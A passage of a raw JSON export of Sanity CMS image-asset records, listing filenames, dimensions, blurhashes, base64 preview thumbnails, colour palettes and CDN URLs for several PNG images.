K0PftYeXiMWunq090/y7/93aLwum6vdRebVu7wOZ4oMDPYTYMBQk7aAvgk5YMua7dMTSwGpDyoRTGfkTzOrK2YZx0c6LXU1d0jf+7suT0bZs1rKZu2MEc1xffg2+kr1rfMDJ+d5Z4yxtSzebBlWKkenTJBL9/8wwK5MuyDoRaqFsUYUA3P+L041jx1+6IZs77/ZouNncNNJzuXC0EuP/rcd9tk/cfclDHLlgiMwCPDkftJ71bmXTgv7cCoTb1aNcyML9ca8kCyGGgkMeiXxGqhQ2Q3Vo+KDfnB2sXF0XW8rfMcU5f54xHeYYgM0sdm0ncPloPmeeK3+efhEPQMCCfohWlb/DiyrsfKKGhEUVCJeaD+A3pEe/RXL/7awNnO4RN35zkGB+Zs02tyjQeZADhKQBTBLLgdiCDo/R+oHZmHvqpoUNsOkIwHIpVuaSYst8A4W0cMmxYMhCmBJAIitZ8ZDMI0H0DhpDP8JySN1VmSlId+SQwGqmN1d36mH9xnOsLSZhIsHd0wZsllIJ5g5F/5L+S/oI/5G9P9LqB2eTACAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304952","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#590e0b","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7880a","foreground":"#000","population":0.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dacfb9","foreground":"#000","population":0.36,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e87581","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c7747","foreground":"#fff","population":0.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7880a","foreground":"#000","population":0.71,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"man-jigsaw-puzzle.png","path":"images/sczeoy4w/production/08d25148bafbda75db0144d25210cc10efe4e437-1200x1200.png","sha1hash":"08d25148bafbda75db0144d25210cc10efe4e437","size":544647,"title":null,"uploadId":"czqP7cuLlqDcKGu76mY38B30PwTbuvYR","url":"https://cdn.sanity.io/images/sczeoy4w/production/08d25148bafbda75db0144d25210cc10efe4e437-1200x1200.png"} {"_createdAt":"2022-09-30T20:13:40Z","_id":"image-7b913b1f595d804998d62f49ba7db992112c58b3-1600x1137-png","_rev":"vDQRRYe9nRreptIRp6DPK0","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T20:13:40Z","assetId":"7b913b1f595d804998d62f49ba7db992112c58b3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfPF}^Ek9ETJDiysr?xaxaV@8wV@t,smkXk?jYemj@Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4072119613016711,"height":1137,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAABYlAAAWJQFJUiTwAAAD20lEQVQ4jX2QbUxbVRjH74fCINFEo36Y84tTx8IyEjWyRFgWaSwmxszEOSFTVwgzGsZljJcBI4ysg8GGxU3ablMzXrdRWFTirCxmLjJisgg4Bi2lvJSWQjcKbe/ruffccx5zC5nf/PDL/zwfzu/552Ei61Ly7PzyC3fu/rX9Wt+POzq7nWldPc60zm7nzq4e50597u7tT+u9fvO1S1c6XhwdHc94vLpaFY3GekRR7MMY3yCEtGKs7hW5qIGJ8Til3f59+sf5heZ9uR9ZskwHW7JMec1ZuXktOm+bPmnJfi+/5d0PC8++n/fVqVPNNuvYP1Mja2vrYUmSIpqmRQilw1jTDvIKTWYiMZRadrx6b96hoo4jR2sW2NrzYbbOusKetIZ1SuvawmX1F8JVFvtK/fkfQpe7Bh+NT3jlWCwOqqoCIQSIpnmwLBSIvnspzFI4lnq8/ITx9OmmwV9u3ZbHJmZgdGIG7o974O8HXngwNQcPp/0wNRMA92wQZv0rEH60RnmOJ4qiEIwxxXzEj72/n8SXjVuZQGgttbqmzmi32X92u90SkhGIvETi0TgVBYFiRaUawhupaVQXCIKoC6kkSRQhBMrKNI/vtl4jzS+/wQQ3hTabfXBqyi3JEgKRkygX5ajICxSJEkVxkYqcQGVZ1gWU53kaj8epKEpUURTAyw+xdrvBRRpfymYCS5GUyqrqd2w2+09ut0dSkAJIQroMJEEARZIBIwVURQWMceJuHMfB+vo65fWFCIEamsB4qN5FGrdlMzNzIYO5oHDPxYvfOhNCRQEky1TkOZAFEVRFSRyeUppA0zQQBAFisY2GXCwKq2O3cLy3wEUanstm2LJaJifHmGG1tnV7PB5Rb7Ih5GmiIUL67Z5I9dRb6osVFdPlRR+M99ThhYZdLlKTlM2shB8zmZmZ6VZrW6fX6xX0z6qi6DIqCyLFCFGCMaWEbFQE2CQx0IBvEu5dKMDT7DO/QgWTxTidAwaTyfS6xWLpHR4elvz+RZifXyC+GR+d9c3RhXk/XfQHaGAxSAPBpScEg0t0MRgi90fuUNfZfHWSfd6Fap/ax1y92rm1qOiIsbi4+Epra+tkx3f2peuOc1JfuwWcOrYz0G9vhAFHI/Q79Gza4FIT9DuaoPtcOTjLc8ho+at/LJx56wPma+s320pLj7352eeHD5jN5i+avtzfeLMk888hNiM4xO4O/VayO6Rn4r2ZQ2zGf5TsCo2wrwTcldsHJhv25DIVlScMR4uLtxw6XJjy6YH9qdPss+mx8uRjQkWSTagwOIQKg/3/SXKIlUntYtWWkmjV0zv+BVNsLyL9COQlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#393949","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082662","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b09bc1","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4a46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945054","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87505","foreground":"#fff","population":6.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"laptop-aiven-console-create-service-redis.png","path":"images/sczeoy4w/production/7b913b1f595d804998d62f49ba7db992112c58b3-1600x1137.png","sha1hash":"7b913b1f595d804998d62f49ba7db992112c58b3","size":259093,"uploadId":"JkszscYuwxbHwHL0Bn7DW7KIbe6RKoyu","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b913b1f595d804998d62f49ba7db992112c58b3-1600x1137.png"} {"_createdAt":"2022-06-15T20:01:45Z","_id":"image-20884078c4936fa4a596717352312f6b795e0778-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEb9F6","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:47Z","assetId":"20884078c4936fa4a596717352312f6b795e0778","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M%PFGbRknNxWni~WR+acocn$ESt7axR*Wo","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACoElEQVQokU3NW0iTARwF8M/NHlxKqPNaUIZWmNKDKOJTrCgT0hTmahFFiaGNmYR5gaVIy0teXtIyGG6Ole6iNh1ubalNp2666fzmpnPufilKEZM5Rb9/DHsIfg8HDoeDHGkajnSd+yh3Z026bdPuOjYOHC7M5sTsLszrA58L3Cbw6mELhV9qcMjAzAeUBfNtoKpHDhebA6rOrTmuY1FqMcx4Vw2765aAeWPfYjt0u7GfHvCugwcFnw5cKtiQwZoIjBxY6oL5VsQ/1+iQMVHZe+0kXzMl0asUxslv6NiYUSH/odftuy3gMYFrIbi0T4BVAXZF8N82CmY+siOjL/VXyNnVEk6jmNMywm6XsDqGulrFPR166cCfVRXmVIPzO7jk4JSCWwG+afCpwPkVLIPInvixtb9Ewy6bZleq+mqVHIaS06jkvJnitphGu3e1fFgXg30YHAKw8cDKBSsPLDww9MB8MxIQkF19FN1Hqra3xCiqXBZVL/TX6AcYpuHXbnmbX9OFLfdgpg9geoeZOjBjM2ZgYstNmKYeG6cjgc/5HlY+2l1gYN01C0tNX+jo4HPLSJVPwfAoGJsTrw5U9dgc42i29lD9ck/94reSvjlO88uf+oeoyPYnso9NtrPITi7VKXpiHymzS2geeeXKEE3URhltL0b7Hq1yH65w7hu41NleCo+ZK2LeWOzOm2klIQM1JEHQNWHddWHDLSHztqjljuBtYVMFqYh06cHN1Kp7GbTCK+UFac+K0ksL03NzzhVfPV9HuVyel4xkJBMzU4iZKTFZF2KyLsZmp8bnpCVmpyemJhETok+eiY04GxcRF0mIjQyLiyIkEMOjT4XFRxGS4sNPRxMQPC4E9x88DheKw4Xij4WcCMXh8cdC8P/a4xD0F6N4hfCS8xZnAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3c27","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#593e25","foreground":"#fff","population":2.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c073","foreground":"#000","population":16.36,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ada288","foreground":"#000","population":0.39,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9c073","foreground":"#000","population":16.36,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a68468","foreground":"#fff","population":1.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9af51","foreground":"#000","population":2.39,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"20884078c4936fa4a596717352312f6b795e0778-752x405.png","path":"images/sczeoy4w/production/20884078c4936fa4a596717352312f6b795e0778-752x405.png","sha1hash":"20884078c4936fa4a596717352312f6b795e0778","size":121727,"uploadId":"aqea5jICZIRGfPaqNrpDLSzFfJcHsm8a","url":"https://cdn.sanity.io/images/sczeoy4w/production/20884078c4936fa4a596717352312f6b795e0778-752x405.png"} {"_createdAt":"2022-06-30T19:57:28Z","_id":"image-6da5a2f6735dde0b58dd6f82fe743b2b7be0d939-640x460-png","_rev":"cEPH2uRN58AU2lp9QO7jeD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:15Z","assetId":"6da5a2f6735dde0b58dd6f82fe743b2b7be0d939","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V8QTJ+00000002[o+G;L}[-AU]^O=w-9$M$L-V-UwbsS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.391304347826087,"height":460,"width":640},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACmUlEQVQ4jVWTTW8SURSG54fVhYvWxI0NJq7c6t6NC/f6CxpjYk2MVneAtGJMTBurm9aPFBCUgaEUgcIM88183pk5r7l3gCLJk8Mlk4f3nLlH6hePcf7qE3pvD+n8809cdBQMh0OMx2PB5eUlptMpVFWFpmlQNVWcJ5PJivF4TP1+H4qiQDre+Yijx+9w9KRM34tf0f0tYzgaQZ/psG1bYFmW4OpswjRNGKYJ07J4pdFoBFmWIT168YUe7BzRw6eHeH1wQrVGC4PBALbjgDEmiKIIYRiuiMIQQRjC9QN4YURRHMN1XeJJpduVOm6UaihU6nh2KkMeDDGbzeD5PrIsAxGJug5RBpakcMIIfsyQESFJEtGFVKg2sbXfROFDC7u1CwxUHY7jiATpQrhOluU1TlLYQS6khZCPQ9o++IXNyi8Uqi3snl1gqBnwPQ+8jTRN/0vGzyxJwFiCmDEhi1iySiiENysNXC83sF1t4vlZH381HYHvCyGfX5KmuYgxMb9gOcsoEs/EMROyOI5z4Va5jmulOm69b64SCmHEH86lS5njuuJl8eoK5gLf9xEEgfhN2izXsVHkwhZeNkfQXA9Jkv8rR7SYJLnQccQ14VgWvz42LNuG53lCyOuVsNrC3p8p7IgBIKRplgvXEvJ0umHCMPJ7KLAszOd5yoWwRhvFOglhe0pOnIB/lnNbwmfH0+i6Ad0wYBiLaprEW/V9nzzPo/WEtNeeYiXM8oRL+EvgCfl2rG3IsmXiLfOU0nbljLZKZ3Sn2sBec0T63AeLY5GIP7CEp9B1HaqmiZ3WZjPMdJ1DvHXbtsmyLJLuVU6zu6UTur//DW9+tKk/nkDT1OXSr+Dr2FUUyJ0O2rIsaqfb5d+J77CiKNTr9bJ/SBX/bUQ7Co0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c7484","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1098be","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3aadd2","foreground":"#fff","population":8.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8baeb9","foreground":"#000","population":2.37,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64dcfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#518c95","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3aadd2","foreground":"#fff","population":8.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"6da5a2f6735dde0b58dd6f82fe743b2b7be0d939-640x460.png","path":"images/sczeoy4w/production/6da5a2f6735dde0b58dd6f82fe743b2b7be0d939-640x460.png","sha1hash":"6da5a2f6735dde0b58dd6f82fe743b2b7be0d939","size":35315,"uploadId":"BGRBGsdhrmLVbVQvmpwXJPFBeQlrOXNt","url":"https://cdn.sanity.io/images/sczeoy4w/production/6da5a2f6735dde0b58dd6f82fe743b2b7be0d939-640x460.png"} {"_createdAt":"2022-06-15T20:02:17Z","_id":"image-589c22516681c71686aa41ba2c4b20b8f7ca558f-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri8bN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:43Z","assetId":"589c22516681c71686aa41ba2c4b20b8f7ca558f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQSPQ*0XoRN-mlUM|V?t6W?t-Mcw]R;Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADK0lEQVQokS3FW2/bZBgAYP8RfgLX7AYkDpe7G0JiEzeAuEJcABKwlp7WA17biMMYo9C1JTvH2aSOtrRNu3ajTZtj6yRO7Nj57MRxZn+f7SRO2rUl74uGuHj0cBW98XlJMW5KxUpUKpFISTYEuVwVFNUUFLUmlBRDKKumUDWp4NBAcFhHMC1XIEbjvx3WiTisE6Wss0DdzrdcUdZnk+mcshvPePG9LN1PHLJUJs8yBxJLpfMskRRZJiuxslZntu0zp24xRZJYNnvIVE1ntu1RRpsuo36FOW6UM2rOPUWtsaKsY0kxUFaqWNZMVLU6KmoNlXIVVc1E09DR03bQTy+gvPEb/r2xhJnEPlZzGWRyAV2dtFyzGuMc1rlu06Bm0wBtGvT+By85ThMc2wVqGdBUl+E40Qcni+eheusCrN7i4X54Hp6Eb/QqkXmkTzc9ryyvcdTtTlG3q1O3i9TtwEvMDZA6bWwQF58XNfTzS/giN4k9cRRh8yP05t7AzdBF/H7sMl4bG4atyRG0Zn/2O9uxNY6yIERZYFDWRsZawGgTnIaPddlD9amNZHkHmxtD2BMHEa1VxPwcnobfwcqVVzHa/x7+NPIN3J0YQXF82G+FpmKcy5pTLvN1j3roURecKgMt5UBhxYZcxAQSeQjB0kU42f0QjvKz0H02Ad0b58AdfAXE/rdgsf9TuD00hiujV5uVkfFNznecad+2dd9+jk270XM0C5StGhxGDCg8KIH1eAa6f74JduQ1EP+4BIlr78Le4DnY6Xsbti9/ArHPJnqPv1jA1R8e+MpDIca1dWXaq8gG1RX0TA1bJkFXUbGRLGEjnsV2/Fc8WT+Ptduv48r0BZwfvIQzX3+AM31f4r2BX/BJ/xomv0ui8mi/2ZL2YlynmB5l+eSeVcwYjBQqR5ZCXjRK5LgmkWP9gJzKUXKWGiLWX1+R9bkBEv7xCvk9NE5uhkJk8fodkr8bJ41l0QjSWbFnpMLcEcm939YOB/yKeDWoFvjjepE/qRf5U6vAn1ki/091lz/TYrwrrvDS9iM+tR7hk2sCn1yN8NLWIu8dPOPP5NRkjySHoZb8+F8U5Mwov0xPEgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#42354c","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#89593c","foreground":"#fff","population":0.49,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a717","foreground":"#000","population":7.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c690c0","foreground":"#000","population":2.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad953","foreground":"#000","population":0.07,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a5a8e","foreground":"#fff","population":0.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8a717","foreground":"#000","population":7.33,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"589c22516681c71686aa41ba2c4b20b8f7ca558f-1567x844.png","path":"images/sczeoy4w/production/589c22516681c71686aa41ba2c4b20b8f7ca558f-1567x844.png","sha1hash":"589c22516681c71686aa41ba2c4b20b8f7ca558f","size":511137,"uploadId":"1xrRqBbYFpFl8ejwgHRtiaLh4Ajahvml","url":"https://cdn.sanity.io/images/sczeoy4w/production/589c22516681c71686aa41ba2c4b20b8f7ca558f-1567x844.png"} {"_createdAt":"2022-06-15T20:01:46Z","_id":"image-18a19590eeb841e3260f689aaebddcc5d9fd79fe-752x405-png","_rev":"ecafYeJdFUSoqAVEkXNVOk","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:54:21Z","assetId":"18a19590eeb841e3260f689aaebddcc5d9fd79fe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M79jT8E800?Y=h}tEhTJw[wM00Wm~q9HV=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACeElEQVQokS3OTW/SYAAA4Pb9Km/btxu0FAbIWsqA0QGF8TFkYwO2AdvQCAM3ssg87ODH1Mwl05ho5sEsxhhPO3DQxIt6UQ+7mXj05sWLf8do/AFP8nAAK4KkUdlLqAcSBWFJhmIITOR4XwcEdkV3M4RLCZC3+XSMt8LQqyGZCV6PJ2YYnEDd/oBlWEl/MMImfEz2TImqTfQGCI+gcVf2Dk2hmQX1AlhIAzshWDEtNRftLC4cXt3gXKInbCTmMoVY0pk2EzNRO2dmVrT0QHKOqXOmxU8zvtsNcadBtpZYu2F2Oov9K+2b7fVbzQZHRY9pJbP5y5lcKeUUCqVqpdhac65dTw2OZvvj4uBi2P10VH55EDnqxg62q93uZrlSnY3GI1MBjila2inWVtu1Rmulvl5vbtU7u2u9O5u7J/uj0/HJ+a93H39fvP7yZvBkON9adaxiVpmOYsUDiMjJimqn5pdra7XG+nJtdXmtVev0qtuj+v6DG4/OXo0/fP3+4/PPby/ePhzs2fGyyuZ0EtIhUwChHBImFLdP94d8/pDuD/iC4VB0Nl5YbPZ2ju/fe/z86f74fOv9+fyzkdUzgmXiSQpikCLZBbDA8ZjxWOIRBdgFiMslslDYqC5VR/3u4bDb63die9uToz7t18WWqZaoagFJBYgigAnHIcZjmcciIBQKourWCra9sVRZqSyk8k4olxbzGVjKwoqDy6aUlJkfuCSACPyPOSRzSOQxhUSaZGpkKmgGAm7dS/w6vBQEZhhYBpgxkKkTHxUYRC4IMfrb/ocZhyQOiQBLmDBBkLBAEaVQYUB1816N1zXgVeEkQ5KABAQJAoTwmP4B5i9sk/4sRVwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3559","foreground":"#fff","population":1.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5e0421","foreground":"#fff","population":3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5e0421","foreground":"#fff","population":3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4bfac","foreground":"#000","population":0.79,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecd06f","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a36769","foreground":"#fff","population":1.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc9e2f","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"18a19590eeb841e3260f689aaebddcc5d9fd79fe-752x405.png","path":"images/sczeoy4w/production/18a19590eeb841e3260f689aaebddcc5d9fd79fe-752x405.png","sha1hash":"18a19590eeb841e3260f689aaebddcc5d9fd79fe","size":81799,"uploadId":"c79uYq4Mw5KSZkLjQKN8Jo7p8hAsgrqY","url":"https://cdn.sanity.io/images/sczeoy4w/production/18a19590eeb841e3260f689aaebddcc5d9fd79fe-752x405.png"} {"_createdAt":"2022-06-15T20:01:53Z","_id":"image-070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844-png","_rev":"4pG2it9AJU1nJxbjoLCFPu","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:30Z","assetId":"070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MqQr;p#6ozi_n$}kNtXSjZa{MKozjtkCf+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADFUlEQVQokR3ObUzUBRzA8f+7XuV6UW96kVu14g7kYaUpzs7weGheG9DB8pCnlKFowMEBwvFULJFD4e68OJU77o7jlEKUPJ1T5rTITJJGCOnMYuEavWjVzD/HrT+/b5svPu8/Cg3PQNPzYHsRql+CyvVQuh4sr0ChDvKSwfQG5GyBzO2QtRMyzZBhgZw9kHsAsvdARinkHUCheR18/Bp0pkBLKlTroPxlKHoVCvVgToOCbZBvBFM2sjMXTBbk/f1IgwNxh5FPPgObA3p9KNLyHBzegPS8jXQbkY4dSKMBarfDwUykyoQ0foi025B9FUheIWIqQnZbkZ5BZPQSEhgHVwjxjaFI2wuI04D4ipFAFeKvRk5aEU8d4mpAPq1GjjQhg8eRtlakwIJ8UIHssz+diX8cGRxDPBEkdB4F+zo4tgmC5RCpg+EGCDVDsAOGuqD/ELg6we+BxnooKYeObhgII+EJ5MoUXLwOE5MwdQdFq3mW/+yJxN0WYic+IuapYdVVR9x5iHifnVhPK0+8Lh57B3hcW8+/B22suAM8id7gr+l5/p59wMrlb4l/+TXx+UWUf3LT+bMgm99LS1jcW8ViZS1LlTaWKpr4bW8LDyvaWbD28YPVyXRxJzNlDuaaIsz2X+F24Bu+99/k7tFJ7jkm+Tk8i7KcViNLaVZ5kFYvC1uaZcHULQvmfpnLd8qs+bjc2eWVW2U+ub77lERznHLe4JYL7w7JhDki54pGJVp8TqKFZ+Vi4Vm5WnZJlGVdK0u6Nh4mtHM/uYufDH3Mv+flx/xBZgqGmLYMc6skwle7holmeBlNcTL6ppczW32cNgQYM0b4YkeEzzNGGM86g/KH3q490rdqv+ratPv6Du3uhi5tdlOPNvOOS7tt9Gg3swa0G1le7arRq01sdmunk45pw0lOLZjqWQtuPLk2snXoqXC6fy2yLbCmLOvt6iNdq/qLrl29l9ChziV0qjOJXep3KYfVqdQj6rWUHvVyskO9kNyrjiX1qiMJverQ60dVX6JzJbjxRCyc7lsNp/vioc2Dq6G3TsX+B9QjXjEZRqIbAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#842f14","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#853015","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4440","foreground":"#fff","population":8.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c8d4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa4440","foreground":"#fff","population":8.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#793c69","foreground":"#fff","population":0.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa7408","foreground":"#fff","population":4.79,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844.png","path":"images/sczeoy4w/production/070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844.png","sha1hash":"070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b","size":191926,"uploadId":"zAIfQXXTHHwCzhbRzHgdjqKqcmwlJYkG","url":"https://cdn.sanity.io/images/sczeoy4w/production/070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844.png"} {"_createdAt":"2022-06-15T20:01:53Z","_id":"image-32f01e608b96ea803f296b09ca49a10951317a9e-752x405-png","_rev":"cEPH2uRN58AU2lp9QO7sL3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:48Z","assetId":"32f01e608b96ea803f296b09ca49a10951317a9e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC9@eQD+ID~o9Z%JIVM}-oS}00%fkSDk-:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAACbUlEQVQokY2S30tTYRzGz7Zzdjb3+zfbVFpl/mCTOcSl29KaOGSZZNmYRkUJeVFqSYWoZMaEtKhEpSIFQZEiiuiiK+2qi+76jz7xvmpEdNHFh++5eN/nPO/zfRSHw0EwGCQUCuH3+3E6nVitVnRdl5hMJgxGA6quoVnNaBYdzWJB1cwYTSaMRqM8I1BVFSUQCNDY2Eg8Hqe+vp5wOIzNZpNiZrMZTdPwh72kOhN09rVxptBK9+kUJ1NNHKmOYrfb939qMEgUl8slRaqrq+X0eDzSocVikYJuv5tsf4aJ56M8fj3G0rMbvHpyheXZy4xdGyDb0YYv4JNOFUVBERcPn/c3QjASi3DxTolH7+dZ3JplZe0unzfv8f3DQ75sVpiZniCd68Ducu47FJmJ/ITDaDQqv6XLqirMmobb7yHXn+fW0/vMvpljaW2GTzsVfu6u8mNvk43tt1wdG6euuRlN11FisRg9PT0MDw8zODhIb28viURCLkeEbFJVguEw+fNnuV15QGV9ga2PL9n7tsHX3R1W321zc26elq4urHYbiljI0NAQk5OTjI+PMzIyQj6fp7a2Fp/Ph9vtxuvxUneigZ5zfYxOT7CwvsiLrWXmVpa4PjXFqYEBIsePYbYcOCwUCpTLZUmpVKJYLJLL5Uin07S2tkqSyRYaGppItaUpXrpAsVwine/maDyBOxRE1UWNjCgis2QySSaT+U02m5Wzvb1dioqZSqVkxg67E68vgNcXpMpmR9U0DAajXIiojyKKLURramrkYg4RlyORiJyHlRIVE9vXVA1Vou7nfFBq0VlZG9G7/0Gc/RP9H5X7BWakT04kRHhJAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c5434","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c040b","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#acc998","foreground":"#000","population":1.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc998","foreground":"#000","population":1.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3c89d","foreground":"#000","population":1.32,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c97a4","fore